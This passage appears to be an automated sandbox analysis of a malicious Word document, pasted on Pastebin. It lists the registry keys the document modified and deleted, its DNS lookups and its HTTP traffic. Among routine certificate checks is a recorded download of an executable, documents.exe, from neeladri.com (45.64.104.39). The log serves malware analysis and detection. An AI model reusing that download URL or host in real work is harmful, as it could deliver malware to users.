  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1962. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1963. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1964. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1973. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1974. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1975. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1976. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1977. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1978. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1979. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1980. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1981. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1982. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1983. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1",
  1984. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1985.  
  1986.  
  1987. * Deleted Registry Keys:
  1988. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1989. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1990. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1991. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1992. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\z:|",
  1993. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\/1z",
  1994. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\158C803\\1671630",
  1995. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\158C803\\158C803",
  1996. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1997.  
  1998.  
  1999. * DNS Communications:
  2000.  
  2001. "type": "A",
  2002. "request": "neeladri.com",
  2003. "answers":
  2004.  
  2005. "data": "45.64.104.39",
  2006. "type": "A"
  2007.  
  2008.  
  2009.  
  2010.  
  2011.  
  2012. * Domains:
  2013.  
  2014. "ip": "45.64.104.39",
  2015. "domain": "neeladri.com"
  2016.  
  2017.  
  2018.  
  2019. * Network Communication - ICMP:
  2020.  
  2021. * Network Communication - HTTP:
  2022.  
  2023. "count": 1,
  2024. "body": "",
  2025. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2026. "user-agent": "Microsoft-CryptoAPI/6.1",
  2027. "method": "GET",
  2028. "host": "ocsp.digicert.com",
  2029. "version": "1.1",
  2030. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2031. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2032. "port": 80
  2033.  
  2034.  
  2035. "count": 1,
  2036. "body": "",
  2037. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2038. "user-agent": "Microsoft-CryptoAPI/6.1",
  2039. "method": "GET",
  2040. "host": "ocsp.msocsp.com",
  2041. "version": "1.1",
  2042. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2043. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2044. "port": 80
  2045.  
  2046.  
  2047. "count": 3,
  2048. "body": "",
  2049. "uri": "http://neeladri.com/documents.exe",
  2050. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  2051. "method": "GET",
  2052. "host": "neeladri.com",
  2053. "version": "1.1",
  2054. "path": "/documents.exe",
  2055. "data": "GET /documents.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: neeladri.com\r\nConnection: Keep-Alive\r\n\r\n",
  2056. "port": 80
  2057.  
  2058.  
  2059. "count": 6,
  2060. "body": "",
  2061. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2062. "user-agent": "Microsoft-CryptoAPI/6.1",
  2063. "method": "GET",
  2064. "host": "crl.microsoft.com",
  2065. "version": "1.1",
  2066. "path": "/pki/crl/products/microsoftrootcert.crl",
  2067. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2068. "port": 80
  2069.  
  2070.  
  2071. "count": 2,
  2072. "body": "",
  2073. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2074. "user-agent": "Microsoft-CryptoAPI/6.1",
  2075. "method": "GET",
  2076. "host": "crl.microsoft.com",
  2077. "version": "1.1",
  2078. "path": "/pki/crl/products/microsoftrootcert.crl",
  2079. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2080. "port": 80
  2081.  
  2082.  
  2083. "count": 1,
  2084. "body": "",
  2085. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2086. "user-agent": "Microsoft-CryptoAPI/6.1",
  2087. "method": "GET",
  2088. "host": "crl.microsoft.com",
  2089. "version": "1.1",
  2090. "path": "/pki/crl/products/microsoftrootcert.crl",
  2091. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 06 Aug 2019 05:01:25 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2092. "port": 80
  2093.  
  2094.  
  2095. "count": 4,
  2096. "body": "",
  2097. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2098. "user-agent": "Microsoft-CryptoAPI/6.1",
  2099. "method": "GET",
  2100. "host": "crl.microsoft.com",
  2101. "version": "1.1",
  2102. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2103. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2104. "port": 80
  2105.  
  2106.  
  2107. "count": 1,
  2108. "body": "",
  2109. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2110. "user-agent": "Microsoft-CryptoAPI/6.1",
  2111. "method": "GET",
  2112. "host": "crl.microsoft.com",
  2113. "version": "1.1",
  2114. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2115. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2116. "port": 80
  2117.  
  2118.  
  2119. "count": 10,
  2120. "body": "",
  2121. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2122. "user-agent": "Microsoft-CryptoAPI/6.1",
  2123. "method": "GET",
  2124. "host": "crl.microsoft.com",
  2125. "version": "1.1",
  2126. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  2127. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2128. "port": 80
  2129.  
  2130.  
  2131.  
  2132. * Network Communication - SMTP:
  2133.  
  2134. * Network Communication - Hosts:
  2135.  
  2136. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!